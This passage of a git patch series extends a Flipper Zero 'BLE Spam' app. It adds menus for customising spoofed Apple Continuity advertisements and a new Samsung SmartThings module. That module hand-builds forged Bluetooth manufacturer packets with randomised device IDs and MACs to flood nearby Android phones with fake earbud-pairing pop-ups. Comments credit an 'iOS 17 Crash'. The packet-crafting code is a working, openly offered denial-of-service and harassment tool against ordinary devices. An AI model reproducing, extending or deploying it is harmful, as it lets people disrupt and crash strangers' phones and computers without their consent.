flag--; // More spam for 'Join This AppleTV?' if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' @@ -268,8 +273,500 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot *_packet = packet; } +enum { + ConfigPpModelId, + ConfigPpPrefix, +}; +enum { + ConfigNaActionType, + ConfigNaFlags, +}; +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(cfg->type) { + case ContinuityTypeProximityPair: { + switch(index) { + case ConfigPpModelId: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelId); + break; + case ConfigPpPrefix: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix); + break; + default: + break; + } + break; + } + case ContinuityTypeNearbyAction: { + switch(index) { + case ConfigNaActionType: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionType); + break; + case ConfigNaFlags: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags); + break; + default: + break; + } + break; + } + default: + break; + } +} +static void pp_model_id_changed(VariableItem* item) { + ContinuityCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.proximity_pair.model_id = pp_models[index].id; + variable_item_set_current_value_text(item, pp_models[index].name); + } else { + cfg->data.proximity_pair.model_id = 0x0000; + variable_item_set_current_value_text(item, "Random"); + } +} +static void pp_prefix_changed(VariableItem* item) { + ContinuityCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.proximity_pair.prefix = pp_prefixes[index].value; + variable_item_set_current_value_text(item, pp_prefixes[index].name); + } else { + cfg->data.proximity_pair.prefix = 0x00; + variable_item_set_current_value_text(item, "Auto"); + } +} +static void na_action_type_changed(VariableItem* item) { + ContinuityCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.nearby_action.type = na_actions[index].type; + variable_item_set_current_value_text(item, na_actions[index].name); + } else { + cfg->data.nearby_action.type = 0x00; + variable_item_set_current_value_text(item, "Random"); + } +} +static uint8_t continuity_config_list(Ctx* ctx) { + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + VariableItemList* list = ctx->variable_item_list; + uint8_t item_count = 0; + VariableItem* item; + size_t value_index; + + switch(cfg->type) { + case ContinuityTypeProximityPair: { + item_count++; + item = variable_item_list_add( + list, "Model ID", pp_models_count + 1, pp_model_id_changed, cfg); + const char* model_name = NULL; + char model_name_buf[5]; + if(cfg->data.proximity_pair.model_id == 0x0000) { + model_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < pp_models_count; i++) { + if(cfg->data.proximity_pair.model_id == pp_models[i].id) { + model_name = pp_models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf( + model_name_buf, + sizeof(model_name_buf), + "%04X", + cfg->data.proximity_pair.model_id); + model_name = model_name_buf; + value_index = pp_models_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + + item_count++; + item = + variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, cfg); + const char* prefix_name = NULL; + char prefix_name_buf[3]; + if(cfg->data.proximity_pair.prefix == 0x00) { + prefix_name = "Auto"; + value_index = 0; + } else { + for(uint8_t i = 0; i < pp_prefixes_count; i++) { + if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) { + prefix_name = pp_prefixes[i].name; + value_index = i + 1; + break; + } + } + if(!prefix_name) { + snprintf( + prefix_name_buf, + sizeof(prefix_name_buf), + "%02X", + cfg->data.proximity_pair.prefix); + prefix_name = prefix_name_buf; + value_index = pp_prefixes_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, prefix_name); + break; + } + case ContinuityTypeNearbyAction: { + item_count++; + item = variable_item_list_add( + list, "Action Type", na_actions_count + 1, na_action_type_changed, cfg); + const char* action_name = NULL; + char action_name_buf[3]; + if(cfg->data.nearby_action.type == 0x00) { + action_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < na_actions_count; i++) { + if(cfg->data.nearby_action.type == na_actions[i].type) { + action_name = na_actions[i].name; + value_index = i + 1; + break; + } + } + if(!action_name) { + snprintf( + action_name_buf, sizeof(action_name_buf), "%02X", cfg->data.nearby_action.type); + action_name = action_name_buf; + value_index = na_actions_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, action_name); + + item_count++; + item = variable_item_list_add(list, "Flags", 0, NULL, NULL); + const char* flags_name = NULL; + char flags_name_buf[3]; + if(cfg->data.nearby_action.flags == 0x00) { + flags_name = "Auto"; + } else { + snprintf( + flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags); + flags_name = flags_name_buf; + } + variable_item_set_current_value_text(item, flags_name); + break; + } + default: + break; + } + + variable_item_list_set_enter_callback(list, config_callback, ctx); + + return item_count; +} + const Protocol protocol_continuity = { .icon = &I_apple, .get_name = continuity_get_name, .make_packet = continuity_make_packet, + .config_list = continuity_config_list, }; + +static void pp_model_id_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + switch(index) { + case 0: + cfg->data.proximity_pair.model_id = 0x0000; + scene_manager_previous_scene(ctx->scene_manager); + break; + case pp_models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelIdCustom); + break; + default: + cfg->data.proximity_pair.model_id = pp_models[index - 1].id; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_continuity_pp_model_id_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, pp_model_id_callback, ctx); + if(cfg->data.proximity_pair.model_id == 0x0000) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < pp_models_count; i++) { + submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_id_callback, ctx); + if(!found && cfg->data.proximity_pair.model_id == pp_models[i].id) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_id_callback, ctx); + if(!found) { + found = true; + selected = pp_models_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_continuity_pp_model_id_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_model_id_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void pp_model_id_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_pp_model_id_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model ID"); + + byte_input_set_result_callback( + byte_input, + pp_model_id_custom_callback, + NULL, + ctx, + (void*)&cfg->data.proximity_pair.model_id, + sizeof(cfg->data.proximity_pair.model_id)); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_pp_model_id_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_model_id_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void pp_prefix_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + switch(index) { + case 0: + cfg->data.proximity_pair.prefix = 0x00; + scene_manager_previous_scene(ctx->scene_manager); + break; + case pp_prefixes_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom); + break; + default: + cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_continuity_pp_prefix_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx); + if(cfg->data.proximity_pair.prefix == 0x00) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < pp_prefixes_count; i++) { + submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx); + if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx); + if(!found) { + found = true; + selected = pp_prefixes_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_prefix_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void pp_prefix_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Prefix"); + + byte_input_set_result_callback( + byte_input, + pp_prefix_custom_callback, + NULL, + ctx, + (void*)&cfg->data.proximity_pair.prefix, + sizeof(cfg->data.proximity_pair.prefix)); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void na_action_type_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + switch(index) { + case 0: + cfg->data.nearby_action.type = 0x00; + scene_manager_previous_scene(ctx->scene_manager); + break; + case na_actions_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionTypeCustom); + break; + default: + cfg->data.nearby_action.type = na_actions[index - 1].type; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_continuity_na_action_type_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, na_action_type_callback, ctx); + if(cfg->data.nearby_action.type == 0x00) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < na_actions_count; i++) { + submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_type_callback, ctx); + if(!found && cfg->data.nearby_action.type == na_actions[i].type) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_type_callback, ctx); + if(!found) { + found = true; + selected = na_actions_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_continuity_na_action_type_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_na_action_type_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void na_action_type_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_na_action_type_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Action Type"); + + byte_input_set_result_callback( + byte_input, + na_action_type_custom_callback, + NULL, + ctx, + (void*)&cfg->data.nearby_action.type, + sizeof(cfg->data.nearby_action.type)); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_na_action_type_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_na_action_type_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void na_flags_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_na_flags_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Press back for automatic"); + + byte_input_set_result_callback( + byte_input, + na_flags_callback, + NULL, + ctx, + (void*)&cfg->data.nearby_action.flags, + sizeof(cfg->data.nearby_action.flags)); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + if(event.type == SceneManagerEventTypeBack) { + cfg->data.nearby_action.flags = 0x00; + } + return false; +} +void scene_continuity_na_flags_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/protocols/continuity_scenes.h b/applications/external/ble_spam/protocols/continuity_scenes.h index e69de29bb..6588932a7 100644 --- a/applications/external/ble_spam/protocols/continuity_scenes.h +++ b/applications/external/ble_spam/protocols/continuity_scenes.h @@ -0,0 +1,7 @@ +ADD_SCENE(continuity_pp_model_id, ContinuityPpModelId) +ADD_SCENE(continuity_pp_model_id_custom, ContinuityPpModelIdCustom) +ADD_SCENE(continuity_pp_prefix, ContinuityPpPrefix) +ADD_SCENE(continuity_pp_prefix_custom, ContinuityPpPrefixCustom) +ADD_SCENE(continuity_na_action_type, ContinuityNaActionType) +ADD_SCENE(continuity_na_action_type_custom, ContinuityNaActionTypeCustom) +ADD_SCENE(continuity_na_flags, ContinuityNaFlags) From c5d69d7d2d1eaa8822bb19f843ad72d015269af8 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 18:14:46 +0100 Subject: [PATCH 34/56] BLE Spam add Samsung spam and menu --- applications/external/ble_spam/ble_spam.c | 15 +- .../external/ble_spam/protocols/_protocols.c | 1 + .../external/ble_spam/protocols/_protocols.h | 2 + .../external/ble_spam/protocols/_scenes.h | 1 + .../external/ble_spam/protocols/smartthings.c | 235 ++++++++++++++++++ .../external/ble_spam/protocols/smartthings.h | 11 + .../ble_spam/protocols/smartthings_scenes.h | 2 + 7 files changed, 266 insertions(+), 1 deletion(-) create mode 100644 applications/external/ble_spam/protocols/smartthings.c create mode 100644 applications/external/ble_spam/protocols/smartthings.h create mode 100644 applications/external/ble_spam/protocols/smartthings_scenes.h diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index c876ac503..5188f2535 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -8,7 +8,7 @@ // Hacked together by @Willy-JL // Custom adv API by @Willy-JL (idea by @xMasterX) // iOS 17 Crash by @ECTO-1A -// Android and Windows Pairs by @Spooks4576 and @ECTO-1A +// Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576 // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam @@ -87,6 +87,19 @@ static Attack attacks[] = { }, }, }, + { + .title = "Samsung Earbuds Pair", + .text = "No cooldown, long range", + .protocol = &protocol_smartthings, + .payload = + { + .random_mac = true, + .cfg = + { + .smartthings = {}, + }, + }, + }, { .title = "Windows Device Found", .text = "Requires enabling SwiftPair", diff --git a/applications/external/ble_spam/protocols/_protocols.c b/applications/external/ble_spam/protocols/_protocols.c index 8be02da9b..f17c2690c 100644 --- a/applications/external/ble_spam/protocols/_protocols.c +++ b/applications/external/ble_spam/protocols/_protocols.c @@ -3,6 +3,7 @@ const Protocol* protocols[] = { &protocol_continuity, &protocol_fastpair, + &protocol_smartthings, &protocol_swiftpair, }; diff --git a/applications/external/ble_spam/protocols/_protocols.h b/applications/external/ble_spam/protocols/_protocols.h index 9f81eaf60..a91278e2a 100644 --- a/applications/external/ble_spam/protocols/_protocols.h +++ b/applications/external/ble_spam/protocols/_protocols.h @@ -2,11 +2,13 @@ #include "continuity.h" #include "fastpair.h" +#include "smartthings.h" #include "swiftpair.h" union ProtocolCfg { ContinuityCfg continuity; FastpairCfg fastpair; + SmartthingsCfg smartthings; SwiftpairCfg swiftpair; }; diff --git a/applications/external/ble_spam/protocols/_scenes.h b/applications/external/ble_spam/protocols/_scenes.h index d91f31010..c440ab187 100644 --- a/applications/external/ble_spam/protocols/_scenes.h +++ b/applications/external/ble_spam/protocols/_scenes.h @@ -1,3 +1,4 @@ #include "continuity_scenes.h" #include "fastpair_scenes.h" +#include "smartthings_scenes.h" #include "swiftpair_scenes.h" diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c new file mode 100644 index 000000000..13b37443a --- /dev/null +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -0,0 +1,235 @@ +#include "smartthings.h" +#include "_protocols.h" + +// Hacked together by @Willy-JL and @Spooks4576 +// Research by @Spooks4576 + +const struct { + uint32_t value; + const char* name; +} datas[] = { + {0x39EA48, "Light Purple Buds"}, {0xA7C62C, "Bluish Silver Buds"}, + {0x850116, "Black Buds Live"}, {0x3D8F41, "Gray and Black Buds"}, + {0x3B6D02, "Bluish Chrome Buds"}, {0xAE063C, "Grey Beige Buds"}, + {0xB8B905, "Pure White Buds V2"}, {0xEAAA17, "Pure White Buds"}, + {0xD30704, "Black Buds V2"}, {0x101F1A, "Dark Purple Buds Live"}, + {0x9DB006, "French Flag Buds V2"}, {0x859608, "Dark Blue Buds V2"}, + {0x8E4503, "Pink Buds V2"}, {0x2C6740, "White and Black Buds"}, + {0x3F6718, "Bronze Buds Live"}, {0x42C519, "Red Buds Live"}, + {0xAE073A, "Black and White Buds"}, {0x011716, "Sleek Black Buds"}, + {0x9D1700, "Fallback Image"}, {0xEE7A0C, "Fallback Buds"}, +}; +const uint8_t datas_count = COUNT_OF(datas); + +const char* smartthings_get_name(const ProtocolCfg* _cfg) { + const SmartthingsCfg* cfg = &_cfg->smartthings; + UNUSED(cfg); + return "SmartThings"; +} + +void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) { + const SmartthingsCfg* cfg = _cfg ? &_cfg->smartthings : NULL; + + uint32_t data; + if(cfg && cfg->data != 0x000000) { + data = cfg->data; + } else { + data = datas[rand() % datas_count].value; + } + + uint8_t size = 31; + uint8_t* packet = malloc(size); + uint8_t i = 0; + + packet[i++] = 27; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + packet[i++] = 0x00; // ... + packet[i++] = 0x42; + packet[i++] = 0x09; + packet[i++] = 0x81; + packet[i++] = 0x02; + packet[i++] = 0x14; + packet[i++] = 0x15; + packet[i++] = 0x03; + packet[i++] = 0x21; + packet[i++] = 0x01; + packet[i++] = 0x00; + packet[i++] = (data >> 0x10) & 0xFF; + packet[i++] = (data >> 0x08) & 0xFF; + packet[i++] = 0x01; + packet[i++] = (data >> 0x00) & 0xFF; + packet[i++] = 0x06; + packet[i++] = 0x3C; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + + packet[i++] = 16; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + // Truncated AD segment, Android seems to fill in the rest with zeros + + *out_size = size; + *out_packet = packet; +} + +enum { + ConfigData, +}; +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(index) { + case ConfigData: + scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsData); + default: + break; + } +} +static void data_changed(VariableItem* item) { + SmartthingsCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data = datas[index].value; + variable_item_set_current_value_text(item, datas[index].name); + } else { + cfg->data = 0x000000; + variable_item_set_current_value_text(item, "Random"); + } +} +static uint8_t smartthings_config_list(Ctx* ctx) { + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + VariableItemList* list = ctx->variable_item_list; + uint8_t item_count = 0; + VariableItem* item; + size_t value_index; + + item_count++; + item = variable_item_list_add(list, "Data", datas_count + 1, data_changed, cfg); + const char* data_name = NULL; + char data_name_buf[9]; + if(cfg->data == 0x000000) { + data_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < datas_count; i++) { + if(cfg->data == datas[i].value) { + data_name = datas[i].name; + value_index = i + 1; + break; + } + } + if(!data_name) { + snprintf(data_name_buf, sizeof(data_name_buf), "%06lX", cfg->data); + data_name = data_name_buf; + value_index = datas_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, data_name); + + variable_item_list_set_enter_callback(list, config_callback, ctx); + + return item_count; +} + +const Protocol protocol_smartthings = { + .icon = &I_android, + .get_name = smartthings_get_name, + .make_packet = smartthings_make_packet, + .config_list = smartthings_config_list, +}; + +static void data_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + switch(index) { + case 0: + cfg->data = 0x000000; + scene_manager_previous_scene(ctx->scene_manager); + break; + case datas_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsDataCustom); + break; + default: + cfg->data = datas[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_smartthings_data_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, data_callback, ctx); + if(cfg->data == 0x000000) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < datas_count; i++) { + submenu_add_item(submenu, datas[i].name, i + 1, data_callback, ctx); + if(!found && cfg->data == datas[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", datas_count + 1, data_callback, ctx); + if(!found) { + found = true; + selected = datas_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_smartthings_data_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_smartthings_data_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void data_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_smartthings_data_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Data"); + + byte_input_set_result_callback( + byte_input, + data_custom_callback, + NULL, + ctx, + ((void*)&cfg->data) + 1, + sizeof(cfg->data) - 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_smartthings_data_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_smartthings_data_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/protocols/smartthings.h b/applications/external/ble_spam/protocols/smartthings.h new file mode 100644 index 000000000..7fc39b174 --- /dev/null +++ b/applications/external/ble_spam/protocols/smartthings.h @@ -0,0 +1,11 @@ +#pragma once +#include "_base.h" + +// Hacked together by @Willy-JL and @Spooks4576 +// Research by @Spooks4576 + +typedef struct { + uint32_t data; +} SmartthingsCfg; + +extern const Protocol protocol_smartthings; diff --git a/applications/external/ble_spam/protocols/smartthings_scenes.h b/applications/external/ble_spam/protocols/smartthings_scenes.h new file mode 100644 index 000000000..81b4fcb80 --- /dev/null +++ b/applications/external/ble_spam/protocols/smartthings_scenes.h @@ -0,0 +1,2 @@ +ADD_SCENE(smartthings_data, SmartthingsData) +ADD_SCENE(smartthings_data_custom, SmartthingsDataCustom) From 72c1916a4c8f53ab155b3ab56c36ac29ee68412a Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 18:26:10 +0100 Subject: [PATCH 35/56] More format stuff --- applications/external/ble_spam/ble_spam.c | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 5188f2535..80a0a7e7f 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -128,8 +128,8 @@ typedef struct { int8_t index; } State; -static int32_t adv_thread(void* ctx) { - State* state = ctx; +static int32_t adv_thread(void* _ctx) { + State* state = _ctx; uint8_t size; uint16_t delay; uint8_t* packet; @@ -182,10 +182,14 @@ enum { PageAboutCredits = PAGE_MAX, }; -static void draw_callback(Canvas* canvas, void* ctx) { - State* state = *(State**)ctx; +static void draw_callback(Canvas* canvas, void* _ctx) { + State* state = *(State**)_ctx; const char* back = "Back"; const char* next = "Next"; + if(state->index < 0) { + back = "Next"; + next = "Back"; + } switch(state->index) { case PageStart - 1: next = "Spam"; @@ -315,8 +319,8 @@ static void draw_callback(Canvas* canvas, void* ctx) { } } -static bool input_callback(InputEvent* input, void* ctx) { - View* view = ctx; +static bool input_callback(InputEvent* input, void* _ctx) { + View* view = _ctx; State* state = *(State**)view_get_model(view); bool consumed = false; From 0c3800340db1114958ac5694c01e9ec10bf75fa1 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 19:38:41 +0100 Subject: [PATCH 36/56] BLE Spam fix parameter byte endianness --- applications/external/ble_spam/ble_spam.h | 1 + .../external/ble_spam/protocols/continuity.c | 57 +++++++++---------- .../external/ble_spam/protocols/fastpair.c | 16 +++--- .../external/ble_spam/protocols/smartthings.c | 16 +++--- 4 files changed, 46 insertions(+), 44 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index 1e361b8e2..7f79f9434 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -20,6 +20,7 @@ typedef struct Attack Attack; typedef struct { Attack* attack; + uint8_t byte_store[3]; ViewDispatcher* view_dispatcher; SceneManager* scene_manager; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 66887695d..710818689 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -545,13 +545,11 @@ void scene_continuity_pp_model_id_custom_on_enter(void* _ctx) { byte_input_set_header_text(byte_input, "Enter custom Model ID"); + ctx->byte_store[0] = (cfg->data.proximity_pair.model_id >> 0x08) & 0xFF; + ctx->byte_store[1] = (cfg->data.proximity_pair.model_id >> 0x00) & 0xFF; + byte_input_set_result_callback( - byte_input, - pp_model_id_custom_callback, - NULL, - ctx, - (void*)&cfg->data.proximity_pair.model_id, - sizeof(cfg->data.proximity_pair.model_id)); + byte_input, pp_model_id_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } @@ -561,7 +559,10 @@ bool scene_continuity_pp_model_id_custom_on_event(void* _ctx, SceneManagerEvent return false; } void scene_continuity_pp_model_id_custom_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + cfg->data.proximity_pair.model_id = + (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00); } static void pp_prefix_callback(void* _ctx, uint32_t index) { @@ -632,13 +633,10 @@ void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) { byte_input_set_header_text(byte_input, "Enter custom Prefix"); + ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF; + byte_input_set_result_callback( - byte_input, - pp_prefix_custom_callback, - NULL, - ctx, - (void*)&cfg->data.proximity_pair.prefix, - sizeof(cfg->data.proximity_pair.prefix)); + byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } @@ -648,7 +646,9 @@ bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent ev return false; } void 